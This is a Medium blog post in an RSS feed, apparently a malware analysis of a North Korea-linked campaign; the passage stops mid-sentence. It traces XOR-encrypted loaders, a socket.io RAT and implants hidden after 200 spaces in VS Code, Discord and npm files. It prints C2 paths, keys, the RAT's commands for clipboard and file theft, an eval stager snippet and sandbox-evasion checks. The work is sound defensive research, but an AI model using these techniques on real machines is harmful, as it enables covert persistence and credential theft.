<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by R.D.Tarun on Medium]]></title>
        <description><![CDATA[Stories by R.D.Tarun on Medium]]></description>
        <link>https://medium.com/@tarunrd77?source=rss-e60e03d0d176------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*PuSdkMMVoTmllYolI3tTKQ.jpeg</url>
            <title>Stories by R.D.Tarun on Medium</title>
            <link>https://medium.com/@tarunrd77?source=rss-e60e03d0d176------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 06:54:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tarunrd77/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[North Korea Backdoored Their VS Code. npm Kept Bringing It Back.]]></title>
            <link>https://medium.com/@tarunrd77/north-korea-backdoored-their-vs-code-npm-kept-bringing-it-back-6371da5e74c4?source=rss-e60e03d0d176------2</link>
            <guid isPermaLink="false">https://medium.com/p/6371da5e74c4</guid>
            <category><![CDATA[malware-analysis]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[R.D.Tarun]]></dc:creator>
            <pubDate>Tue, 20 Oct 2026 03:40:20 GMT</pubDate>
            <atom:updated>2026-10-20T03:40:20.394Z</atom:updated>
            <content:encoded><![CDATA[<h4>No scheduled tasks. No registry keys. Just a RAT hidden behind 200 spaces in the tools developers use every day, with a Python stager waiting behind it.</h4><p>This is a continuation of my previous post, <strong>“</strong><a href="https://medium.com/@tarunrd77/their-github-repo-was-compromised-the-trail-led-to-north-korea-6d332abbdedf"><strong>Their GitHub Repo Was Compromised. The Trail Led to North Korea</strong></a><strong>”. </strong>We ended up with 2 payloads being downloaded and executed in 2 different ways.</p><h3>Where Part 1 Left Off</h3><p>The loader contacted two different endpoints on the C2 server:</p><pre>http://&lt;C2&gt;:443/0x/cls<br>http://&lt;C2&gt;:443/0x/ls</pre><p>Both responses were XOR-encrypted, with the keys hardcoded directly in the loader:</p><pre>/0x/cls → q4FZkxX{!h,Sr3=@<br>/0x/ls  → y-p_&gt;d$0B&amp;@^1aQk</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2A2lhMKmX6V06Sas3S26A.png" /><figcaption>The ending point of <a href="https://medium.com/@tarunrd77/their-github-repo-was-compromised-the-trail-led-to-north-korea-6d332abbdedf">Part-1</a></figcaption></figure><p>The loader downloaded each response, XOR-decoded it, and treated the result as JavaScript. The two responses were also run differently:</p><ul><li>The /0x/cls response was passed to eval() and also spawned as a detached Node.js process.</li><li>The /0x/ls response skipped the direct eval() and was launched only through a separate Node.js process.</li></ul><p>So /0x/cls and /0x/ls weren’t two copies of the same payload. They were separate stages of the loader.</p><h3>/0x/cls, the Inject Client</h3><p>The decoded /0x/cls payload turned out to be another loader, not the final payload. It didn’t have any obfuscation either, just vanilla JS.</p><p>It starts from the C2 variables the previous stage left behind. It uses _t_s (ip1:443) and rebuilds it from _H / _H2 if it’s missing, always forcing port 443 while still talking <strong>plain HTTP</strong> through Node’s http module. Every request carries the spoofed Chrome 131 User-Agent and a custom Sec-V: A4 header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__OXBJH_APffdtNU9cm-rQ.png" /></figure><p>Next to that sit the hardcoded XOR key (the same /0x/cls key) and a small function, c(), which does a repeating-key XOR: each byte is XOR’d with the matching character of the 16-byte key, wrapping around when the key runs out.</p><h4><strong>A Loader With a Backup Plan</strong></h4><p>The loader doesn’t walk through a fixed chain of URLs. It has a main path and a fallback.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*xz_NG2PqY42aol91LAyHmA.png" /></figure><p><strong>Main path: </strong><strong>/0x/clb.</strong> This endpoint returns JSON rather than raw JavaScript. The function f() parses it and handles two fields:</p><ul><li>inz: stored as a global variable (global.inz) for the next stage</li><li>body: Base64-decoded, then XOR-decoded through c() with the same key</li></ul><p><strong>Fallback: </strong><strong>/0x/cb.</strong> If /0x/clb fails on every C2 host, the loader tries /0x/cb. This response is raw XOR-encrypted JavaScript, with no JSON and no Base64.</p><blockquote>When I decoded a captured /0x/cb response, it was <strong>byte-identical</strong> to the /0x/clb body, so it really is the same payload in a simpler wrapper.</blockquote><p>/0x/cb doesn’t deliver an inz field, so the loader then calls h() to get it from a third endpoint.</p><h3>/0x/js: The Implant delivered separately</h3><p>/0x/js is one of the paths URLhaus listed for 166.88.134.62 in Part 1. Now we know what it’s for.</p><p>h() fetches /0x/js and keeps the response as inz <strong>only if it contains the marker </strong><strong>/*RS260605*/</strong>. There’s no XOR here: the response is used as-is.</p><p>The /0x/js response I captured (~960 KB) starts with exactly that marker. It also opens with the same obfuscated function header as the inz field from /0x/clb, using the same seed constants; only the random identifier names differ.</p><p>So the two paths deliver the same two pieces:</p><pre>/0x/clb            →  { inz: &lt;implant&gt;, body: &lt;payload&gt; }   (one request)<br>/0x/cb + /0x/js    →  &lt;payload&gt;  +  &lt;implant&gt;               (two requests)</pre><p>The overall flow for <strong>/0x/cls</strong>:</p><pre>Ethereum txn → C2 IP → /0x/cls<br>                         ↓<br>        /0x/clb  (JSON: inz + body)<br>                         ↓ if it fails<br>        /0x/cb   (raw XOR body)  +  /0x/js (inz) if missing<br>                         ↓<br>                       eval()</pre><p>Whichever path succeeds, the decoded code ends up in a single line: await eval(_).</p><h4>Even Failure Phones Home</h4><p>If anything goes wrong, whether the C2 values are missing, every fetch fails, or the payload throws while running, the loader doesn’t just die quietly. It reports back to:</p><pre>http://&lt;C2_URL&gt;/verify-human/A4</pre><p>A4 is the campaign ID: /0x/cls takes _V from the previous stage and falls back to A4 if it’s missing, and port 80 comes from _t_u (ip1:80). In a proxy log, /verify-human/ looks like ordinary CAPTCHA traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PozVZ9SXw8Qb2BTHGNmdmg.png" /></figure><p>The POST body is a URL-encoded text parameter:</p><pre>[A4] hostname$username / OS-type release<br>terminal_error: client-loader failed: &lt;error&gt;</pre><p>Built from os.hostname(), os.userInfo().username, os.type() and os.release().</p><p>So even a failed infection tells the operator the victim’s machine name, username and OS version, plus why it failed.</p><h3>/0x/clb: The Client Body</h3><p>Fetching /0x/clb returned a JSON object with two fields. inz held about 1.5 MB of obfuscated JavaScript starting with /*RS260605*/, the same implant /0x/js serves. body held the code that actually runs: Base64-encoded, then XOR-encrypted with the /0x/cls key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/391/1*ubPF70vT_EkWtq5PlKlWUg.png" /><figcaption>inz implant — obfuscated JS</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*ihrKZrSEXA_1DTyrHmlWwQ.png" /><figcaption>body — Base64 + XOR-encrypted</figcaption></figure><p>Instead of letting the loader eval() it, I copied its two decoding steps, the JSON/Base64 parsing in f() and the XOR loop in c(), into a one-liner that writes the result to disk instead of running it:</p><pre>node -e &quot;const fs=require(&#39;fs&#39;);<br>const j=JSON.parse(fs.readFileSync(&#39;clb.raw&#39;,&#39;utf8&#39;));<br>const k=&#39;q4FZkxX{!h,Sr3=@&#39;;<br>const b=Buffer.from(j.body,&#39;base64&#39;);<br>for(let i=0;i&lt;b.length;i++)b[i]^=k.charCodeAt(i%k.length);<br>fs.writeFileSync(&#39;clb_dec.js&#39;,b);&quot;</pre><p>123,480 bytes of JavaScript was obtained, still not in a readable form though.</p><h4>Peeling the last layer</h4><p>This layer used a different packer from Part 1: <a href="https://js-confuser.com/"><strong>JsConfuser</strong></a>, with several layers stacked:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kw-zfzJxUHTwGeDKe_RBRA.png" /></figure><ul><li><strong>Function() wrapper.</strong> The whole program is one big string passed to the Function constructor.</li><li><strong>Compressed string table.</strong> Every string, from file paths to command names to URLs, is packed into one LZString-compressed blob and fetched at runtime through lookups like xuYKWe(0x1e3).</li><li><strong>An anti-beautify trap.</strong> If the script detects it has been reformatted, it hangs in an infinite loop.</li></ul><p>Once I decompressed the string table, and replaced every lookup with its real value, the code finally read clearly.</p><p>And it was big. This wasn’t another loader. This was what the whole chain had been building towards.</p><h3>/0x/clb: The Main Payload</h3><blockquote>clb’s command set, persistence targets and anti-analysis checks match the RAT publicly tracked as <a href="https://www.esentire.com/blog/north-korean-apt-malware-analysis-dev-popper-rat-and-omnistealer-everyday-im-shufflin"><strong>DEV#POPPER</strong></a>, this appears to be an updated variant.</blockquote><p>/0x/clb is two things in one:</p><ol><li>A <strong>persistence installer</strong> that trojanizes the developer tools and chat apps already on the machine.</li><li>A <strong>remote access trojan (RAT)</strong> that gives the operator a live shell over socket.io</li></ol><p>It also explains the inz blob the loader had carefully stashed: <strong>inz is the implant, the code that gets written <em>into</em> those apps.</strong></p><p>Before doing anything, an identity is built for the machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZoJJ0uHLczgrQ-UD-XVTRg.png" /><figcaption>notice DbESKH_lSdM2oW calculates the Time Stamp</figcaption></figure><pre>&quot;[&quot; + GLOBAL.e + &quot;-&quot; + timestamp + &quot;]&quot; + hostname + &quot;$&quot; + username</pre><p>Here GLOBAL.e is the launch source, such as app-vscode or NPM. The same hostname$username format showed up in the /verify-human beacon earlier.</p><p>It also records when it first infected you, writing a timestamp to a file named after the victim’s base64-encoded username:</p><pre>Windows:  %LOCALAPPDATA%\Temp\&lt;base64(username)&gt;<br>Others:   /tmp/.&lt;base64(username)&gt;</pre><p>So the operator knows exactly how long each victim has been infected.</p><h4>Then it checks who’s watching</h4><p>There are three separate checks:</p><ul><li><strong>Hidden security-product check (Windows):</strong> It runs tasklist, takes every process whose name starts with O, MD5-hashes the name, and compares it to a hardcoded hash:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URLZXRKXD2hr5sXvj29eFg.png" /><figcaption>Hash-based anti-analysis check</figcaption></figure><p>On a match it quietly exits and tells the C2 why. Hashing the name means you can’t grep the code for which product it’s avoiding.</p><ul><li><strong>Skipping CI and sandboxes (Linux):</strong> It bails out on usernames like github-runner and buildbot, and on hostnames like build-*, sandbox-pool-*, buildkitsandbox and cloudchamber. WSL2 is explicitly exempt, so developers running Linux on Windows are still targeted.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DZkrUngMEE_jnph0SYAnXg.png" /></figure><ul><li><strong>The operator’s own machines:</strong> Two hostnames are hardcoded:</li></ul><pre>EV-CHQG3L42MMQ<br>EV-4A6OE6M0E2D</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CDZREDT_LZB0S4GQDho0sg.png" /></figure><p>On those machines, or when an environment variable called jsbot is set, the payload only <em>reports</em> what it would have infected without touching anything.</p><blockquote>None of this is sophisticated anti-VM work.</blockquote><blockquote>It reads more like checks to keep the malware off specific machines: one security product, build infrastructure, and what look like the attacker’s own test boxes.</blockquote><h4>Persistence: Your Dev Tools Now Work for Them</h4><p>This is the part that stood out.</p><p>Instead of a scheduled task or a registry Run key, the payload goes after the <strong>Electron apps a developer opens every day, plus npm itself</strong>. It searches the standard install paths on Windows, macOS and Linux for:</p><pre>| Target         | File it modifies                                            |<br>|----------------|-------------------------------------------------------------|<br>| VS Code        | resources/app/out/main.js or @vscode/deviceid/dist/index.js |<br>| Cursor         | same paths as VS Code                                       |<br>| Antigravity    | @vscode/deviceid/dist/index.js                              |<br>| Discord        | modules/discord_desktop_core/index.js                       |<br>| GitHub Desktop | resources/app/main.js                                       |<br>| npm            | the global npm/lib/cli.js                                   |</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*54l0et7VbgMzmmjEjQfXlg.png" /><figcaption>Searching VS Code’s install folders for a file to infect</figcaption></figure><p>To each of these apps it appends the inz implant, about 1.5 MB of code, to the end of its file:</p><pre>...original app code...        ← untouched<br>\r\n                           ← a new line<br>(200 spaces)                   ← pushes everything after it off-screen<br>/*M260630A*/                   ← the marker: a label saying &quot;infected, version M260630A&quot;<br>global[&#39;e&#39;]=&#39;app-vscode-eval&#39;; ← tag: which app this copy is running in<br>global.i=&#39;A4&#39;;global.j=1;      ← campaign tag and a flag<br>&lt;inz implant, ~1.5 MB&gt;         ← the actual malicious code</pre><blockquote>The 200 spaces push the code off the right edge of the screen, so if we open the file and scroll to the end, it looks normal.</blockquote><blockquote><strong>The marker is a label the malware uses to recognize its own work later.</strong></blockquote><p>It’s also surprisingly careful for malware:</p><ul><li><strong>It doesn’t break the app.</strong> If adding code to the end of a file would break it, the implant goes in a separate file next to it (&lt;name&gt;.inz.cjs), with a one-line loader at the top of the original.</li><li><strong>It keeps a clean copy.</strong> It saves the original file as &lt;file&gt;.inz.orig, so it can restore it or swap in a newer implant later.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WzDsfIdDPQLDOu-keS7ag.png" /><figcaption>.inz.cjs / .inz.orig / .inz.tmp helpers</figcaption></figure><ul><li><strong>It swaps files in one step.</strong> It writes the new version to a temporary file (&lt;file&gt;.inz.tmp) first, then puts it in place, so the app never ends up half-written.</li><li><strong>It updates itself.</strong> If it finds an older marker (/*C250617A*/ through /*C260511A*/), it removes the old implant and writes the new one, instead of piling up copies.</li></ul><blockquote><strong>The markers look like dates, which suggests this campaign has been around since mid-2025.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/552/1*LfOmvBY1Bam3P3n-6YAo_A.png" /><figcaption>Version Markers — C250617A…C260511A = older, stripped and replaced; M260630A = current.</figcaption></figure><p>These careful steps apply to the desktop apps.</p><h4>npm: The Nastiest Target</h4><p>For npm, it skips them and just adds the implant to the end of the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*23T0q87TJWHXjBKT810PfA.png" /><figcaption>npm injection</figcaption></figure><p>npm’s infection is especially nasty. After it, every npm install, npm run, or npm anything silently starts the implant again. The malware turns the developer’s own tooling into its persistence mechanism.</p><p>When it’s done, the results go to the C2 through /verify-human, with messages like 👍👍 NPM injected: &lt;path&gt;.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5iMXak68-7TRjpljDsnXFw.png" /><figcaption>/verify-human/ endpoint</figcaption></figure><blockquote><strong>Possible LLM Usage:</strong> The status messages are full of emojis (👍👍, ⚠️⚠️), which is unusual for malware. It may hint at LLM-assisted code, or simply be the operators’ taste in their own logs. On its own it isn’t evidence either way.</blockquote><h4>Installing Its Own Dependencies</h4><p>The RAT needs socket.io-client, which a victim almost certainly doesn’t have installed globally. So it installs it, quietly:</p><pre>npm --prefix &quot;~/.node_modules&quot; install --no-fund --no-audit --ignore-scripts<br>    --loglevel=error socket.io-client@4.7.5</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m7x9MJeg43iLlSzzCAssoA.png" /></figure><p>It installs into a hidden ~/.node_modules folder, adds that folder to Node’s module search path, and uses a lock file so several infected apps launching at once don’t fight over the install.</p><h4>The RAT: A Terminal on Your Machine</h4><p>With the dependencies in place, it connects to the C2 and introduces itself.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*80anAdbfOQLSWdruSlwlBw.png" /></figure><p>Then it waits for commands. Anything that isn’t one of its special ss_ commands runs as a shell command, and the output comes back with a prompt showing the current directory.</p><blockquote><strong>Effectively, the operator has a terminal on the victim’s machine.</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*04lSTcO7kL0yG1ZKTN5mgw.png" /></figure><p>The special commands are where the real capabilities are:</p><pre>| Command               | What it does                                          |<br>|-----------------------|-------------------------------------------------------|<br>| ss_info               | Dumps the implant&#39;s config: C2 URLs, Node path, times |<br>| ss_ip                 | Gets public IP of the victim and location from ip-api.com      |<br>| ss_cb                 | Reads victim clipboard                                  |<br>| ss_upf:&lt;file&gt;,&lt;dest&gt;  | Uploads a file to the C2                              |<br>| ss_upd:&lt;dir&gt;,&lt;dest&gt;   | Uploads an entire folder recursively                  |<br>| ss_stop               | Stops a running upload                                |<br>| ss_dir                | Resets the working folder to where it started         |<br>| ss_fcd:&lt;path&gt;         | Changes to a given folder                             |<br>| ss_inz:&lt;file&gt;         | Injects the implant into any file the operator picks  |<br>| ss_inzx:&lt;file&gt;        | Removes an injection and restores the original        |<br>| ss_connect:&lt;ip&gt;       | Moves the victim to a new C2 server                   |<br>| ss_eval: / ss_eval64: | Runs arbitrary JavaScript inside the implant          |<br>| ss_exit / ss_exit_f   | Shuts down                                            |</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZtLrNereBsOlvNo99wZwag.png" /><figcaption>the ss_ command handlers — <em>Capabilities of the RAT</em></figcaption></figure><p>Clipboard theft plus recursive folder upload on a developer’s machine is a bad combination. That covers copied passwords and seed phrases, SSH keys, .env files, browser profiles, wallet folders and whole source repositories.</p><p>Stolen files go out as a multipart POST to: http://&lt;C2&gt;/u/f</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*oRDw6DXuy8FNRfdFVAZSSw.png" /><figcaption><em>Stolen files, uploaded and tagged with the victim’s machine and user name.</em></figcaption></figure><h4><strong>A Door to the Next Stage</strong></h4><p>A few command prefixes exist only to launch <em>more</em> payloads:</p><ul><li><strong>Hidden background programs:</strong> A cmd starting with ‘*’ — *&lt;command&gt; launches a program that runs on its own, with no window (detached and hidden). Even if the RAT is closed, that program keeps running.</li><li><strong>Restarting the infection chain:</strong> A special Node.js command ~node ... **0 starts a fresh copy of the loader, so the operator can rerun the whole chain on demand.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*11QyabmjJGCVJZDA6dgmeg.png" /><figcaption>node &lt;arg1&gt; **0 restarts the whole loader.</figcaption></figure><ul><li><strong>Using its own interpreters: </strong>When the operator asks for Node.js or Python, the RAT prefers copies the attackers installed themselves.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZHhpqL9eTKPWtZZJHLK3GQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cVZU8ShW8CasZHEq5kK0Pw.png" /><figcaption>~/.local/bin/node20 and ~/.local/bin/py on macOS/Linux, and the <strong>Python3127 </strong>folder on Windows.</figcaption></figure><p>These are known-good versions under the attacker’s control, not whatever the victim happens to have.</p><h4><strong>Getting the Python payload onto the machine</strong></h4><p>The most interesting shortcut hands off to Python. For certain Python commands from the operator, the RAT doesn’t run them as typed. It fetches the real Python code from the attacker’s server and runs it straight from memory, so the payload never appears as a file on disk.</p><p>That download is built to blend in. It identifies itself as ordinary Python web traffic (Python-urllib/3.12) and is only used for specific attacker URLs, ones containing /6x6/, /x2/ or /$/. The /$/ prefix is the same one boot uses for /$/boot and for the Python implant at /$/1.</p><blockquote>So the JavaScript RAT isn’t the end of the line. It’s built to hand off to a Python payload, running on an interpreter the attackers installed themselves.</blockquote><h3>/0x/cls: Branch 1 at a Glance</h3><pre>.vscode task → WOFF2 loader → Ethereum dead drop → C2<br>                                                    │<br>                                                 /0x/cls<br>                                                    │<br>                       /0x/clb  (or /0x/cb + /0x/js)<br>                        ├── inz  → injected into VS Code, Cursor, Antigravity,<br>                        │          Discord, GitHub Desktop, npm<br>                        └── body → socket.io RAT<br>                                     ├── remote shell<br>                                     ├── clipboard theft<br>                                     ├── file/folder exfiltration<br>                                     ├── arbitrary JS execution<br>                                     └── Python stager → next stage</pre><h3>/0x/ls: The Stager</h3><p>ls is a small stager, about 1.7 KB. It has one job: fetch boot from the C2, decrypt it and run it in memory. It contains no C2 address of its own; it uses the one the earlier stage resolved from the Ethereum dead drop.</p><pre>ls (hidden, detached node process)<br>   ▼<br>GET http://&lt;C2&gt;:80/$/boot   (Sec-V: &lt;id&gt;, spoofed Chrome UA)<br>   ▼<br>XOR-decrypt with &quot;ThZG+0jfXE6VAGOJ&quot;<br>   ▼<br>eval() → boot runs in memory, never written to disk</pre><h4>Resolving the strings</h4><p>ls uses the same obfuscation pattern as the WOFF2 loader in Part 1, just much smaller. A function a0a() returns a 35-entry string table, and a0b() looks entries up by number after subtracting 0xa5.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sE29RS1B0g0p6vwELRbaSQ.png" /><figcaption>/0x/ls code</figcaption></figure><h4>Fetching /$/boot/</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SPwc-4zIO9puwUsYL7se9A.png" /></figure><blockquote>Notice that <strong>the port changed.</strong></blockquote><blockquote>The /0x/ls and /0x/cls requests went to port <strong>443</strong>, but boot is fetched over port <strong>80</strong>.</blockquote><h4>Decrypt and Run</h4><pre>await eval(function(b){<br>  const l = a0b;<br>  let c = l(0xb0),    // 0xb0 - 0xa5 = 11 =&gt; &#39;ThZG+0jfXE6VAGOJ&#39; - the XOR Key<br>      d = c[l(0xbe)], // &#39;length&#39; =&gt; 16<br>      f = &#39;&#39;;<br>  for (let g = 0x0; g &lt; b[l(0xbe)]; g++) {<br>      let i = b[l(0xb3)](g),       // charCodeAt<br>          j = c[l(0xb3)](g % d);   // key byte, repeating every 16<br>      f += _global[l(0xa6)][l(0xc6)](i ^ j);  // String.fromCharCode<br>  }<br>  return f;<br>}</pre><p>It’s a plain repeating 16-byte XOR, and the result goes straight into eval().</p><p>ls is just a stager. Once it hands over to boot, it has nothing else to do.</p><h3>/$/boot: The Orchestrator</h3><p>If ls is the delivery driver, boot is the one who actually walks into the house.<br>The /0x/cls branch gave the operator a RAT. boot does the groundwork around it: it profiles the machine, steals its secrets, decides whether the machine is worth the final stage, and if so, sets up Python and pulls down a Python implant. Here’s the whole thing at a glance:</p><pre>boot (eval&#39;d inside /0x/ls&#39;s hidden node process)<br> ├─ Fingerprint: hostname, username, OS, cloud env vars<br> ├─ npm install axios + socket.io-client → ~/.node_modules<br> ├─ report() → POST _H2/verify-human/&lt;id&gt;<br> ├─ GET :443/0x/cls → XOR → eval          (&quot;inject client&quot;)<br> ├─ Windows: tasklist → hashed security-product check<br> ├─ POST _H2/snv ← entire process.env<br> ├─ Block-list: cloud / CI / sandbox / Kali → quit<br> └─ Python stage<br>       ├─ no Python? download a portable one from _H2/d/<br>       └─ py -c &lt;loader&gt; → GET _H/$/1 → exec()</pre><h4>Two IPs, Two Jobs</h4><p>Remember decodeAddress() returned <strong>two</strong> IPv4 addresses from each Ethereum transaction? In these samples, when decrypted from the ETH wallet, both were the exact same IP, so the second one looked redundant.</p><p>boot shows it isn’t:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*ZRGIwKc2NvpWiuGljEUQRA.png" /><figcaption>Two C2 variables, two different jobs.</figcaption></figure><p>ip1 delivers payloads. ip2 receives status reports and stolen data and hosts the tools.</p><blockquote>c2Url shows up in every request that sends data back.</blockquote><blockquote>stageUrl appears in only one place: the URL of the next stage.</blockquote><h4>Where Am I? Fingerprinting the Victim</h4><p>The first thing boot does is work out where it has landed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e1YcqNdu5DPK61J-lOpFdQ.png" /><figcaption>Hostname, username, OS version, and two environment variables that only exist in the cloud.</figcaption></figure><p>K_SERVICE is set on Google Cloud Run, and VERCEL_HIVE_VERSION on Vercel’s build infrastructure. From the very first lines, the authors expect to land on <strong>servers and build systems</strong>, not only developer laptops. For malware that spreads through repositories, that makes sense.</p><p>The victim ID is the same hostname$username format we saw in the /0x/cls beacons.</p><h4>Same Toolkit, Same Habits</h4><p><strong>Dependency Checks:</strong> Next, boot makes sure it has the libraries it needs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G_oNaXypwZhHx4wJKYxDcw.png" /></figure><p>Installing its own dependencies into a hidden folder in the user’s home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1015/1*aS0IowR3iajrmnTctsiJhw.png" /></figure><p>axios, a popular HTTP library for Node.js, is used throughout boot.</p><p>socket.io-client isn’t used here at all; it’s preinstalled for the /0x/clb RAT, which uses the same hidden folder.</p><p><strong>A log channel dressed up as a CAPTCHA: </strong>boot has its own copy of the /verify-human/ beacon from /0x/cls.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*ctJeXoEX9xg-PS3g6HhF4A.png" /><figcaption>A status channel that looks like CAPTCHA traffic, shared with later stages.</figcaption></figure><p>boot reports almost every step: “Installing python…”, “Extracting python…”, “still running…”, “Blocked (AWS)”, Python version strings, errors.</p><p>It’s also saved as the global _R, so later stages can use the same channel.</p><p><strong>Security-Product Check: </strong>On Windows, boot runs the exact tasklist + MD5 check from /0x/clb.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URLZXRKXD2hr5sXvj29eFg.png" /><figcaption>Windows Security-Product check — One hashed process name is enough to make boot leave.</figcaption></figure><p>I tried the obvious candidates and brute-forced O plus up to five lowercase letters plus .exe, with no match.</p><blockquote>Some write-ups suggest the check targets debuggers like OllyDbg, but from what I can check, neither OllyDbg.exe nor OLLYDBG.EXE produces this hash.</blockquote><blockquote>If you recognise 9a47bb48b7b8ca41fc138fd3372e8cc0, I’d love to hear from you.</blockquote><h4>Stealing the Entire Environment</h4><p>This is the most important function of boot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xm0k_9agfPrbApldGoHS7A.png" /><figcaption>The entire process environment, sent to the C2.</figcaption></figure><p>The entire<strong> </strong>environment is sent to _H2/snv, tagged with hostname$username.</p><p>Look at what it filters out. pm_uptime, restart_time and vizion_running come from <strong>PM2</strong>, the Node.js process manager. NEXT_DEPLOYMENT_ID and NEXT_PRIVATE_* come from <strong>Next.js</strong>.</p><blockquote>For a Web3/fintech company, environment variables are where the valuable secrets live: RPC provider keys, wallet private keys, database URLs, cloud credentials, API tokens.</blockquote><h4>The Block-List That Blocks Nothing</h4><p>/0x/clb skipped CI machines and sandboxes. boot’s list is broader and goes after cloud infrastructure by name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kDM5k7qrmcOU6mZWD5i-Lw.png" /><figcaption>Cloud providers, CI &amp; build systems, checked by username and kernel version.</figcaption></figure><p>Two hostnames are hard-coded again: EV-CHQG3L42MMQ and EV-4A6OE6M0E2D, the same ones we saw in /0x/clb. boot labels them (Test-Blocked) in its own report, which strongly suggests they’re the operators’ test machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PnSwcPWJtMj60sS9GGYQ5g.png" /></figure><p>On the surface, the block-list looks like the malware being careful.</p><p>But by the time it runs, boot has already started the inject client and sent the full environment to /snv. A cloud server that gets “Blocked (AWS)” has already sent its passwords and API keys to the attacker, and the RAT is probably already on its way. The only thing “blocked” is the Python implant.</p><p>The one exception is the Windows security-product check, which runs before the theft. Even then, the inject client is already running.</p><p>So the block-list doesn’t protect the victim. It protects the <strong>Python implant</strong>, keeping it off sandboxes, CI runners and analysts’ machines.</p><h4>Bring Your Own Python</h4><p>If the machine passes the checks, boot makes sure it has a Python to run the next stage, and it doesn’t trust the victim to have one.</p><p><strong>Windows: </strong>boot first looks for a system Python 3.1x with a working pip. If there isn’t one, it uses its own copy — %LOCALAPPDATA%\Programs\Python\Python3127\python.exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*ZAQ3_hRXU5jysW9CszrqAA.png" /><figcaption>A Python install hiding where a real one would live.</figcaption></figure><p>%LOCALAPPDATA%\Programs\Python\ is where a per-user Python install normally lives, except real folders are named like Python312 or Python313. Python3127 isn’t a real version folder, which makes it a good host indicator.</p><p>If that folder doesn’t exist yet, boot downloads a portable Python from the C2 and unpacks it there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tqgkrpZtoAPfpRYV4jOVXQ.png" /><figcaption>Installing Python straight from the C2.</figcaption></figure><p>This is the same Python3127 folder the /0x/clb RAT puts first in PATH when the operator runs commands. boot installs the interpreter, and the RAT uses it later.</p><p><strong>Linux and macOS: </strong>Here, boot doesn’t install Python. It uses the attacker’s own copy at ~/.local/bin/py if it exists, otherwise the system’s python3.</p><h4>Bring Your Own pip</h4><p>If the Python stage reports that it couldn’t install pip, boot downloads get-pip.py from the legitimate bootstrap.pypa.io, installs it with --break-system-packages, and tries again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6Jr3hitmR3-6udDH2Z8qzw.png" /><figcaption>pip from the legitimate source, if needed.</figcaption></figure><h4><strong>Don’t run twice</strong></h4><p>boot also uses two temp files to coordinate with the Python stage, though it never creates either of them itself.</p><ul><li><strong>tmp7A863DD1.tmp, the “occupied” sign.</strong> If this file is locked, the Python implant is presumably already running, so boot waits and checks again every 15 seconds instead of starting a second copy.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QDNvAd8HFcBdi5vjEFQNpg.png" /></figure><ul><li><strong>tmp&lt;timestamp&gt;.tmp, the receipt.</strong> Its name is built from the current time, and boot hands it to the Python stage. Once that file appears, boot knows the Python stage started successfully and stops.</li></ul><blockquote>I believe the Python implant creates and locks these files, but without that stage I cannot confirm it.</blockquote><h4>The Python Loader</h4><p>The Python code itself is one enormous string, impossible to read as-is.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P59Qx1XfqI4Z2kL-6k8jsA.png" /><figcaption>Python Loader Code — unformatted</figcaption></figure><p>Here it is reformatted:</p><pre>code = &quot;&quot;&quot;<br>import 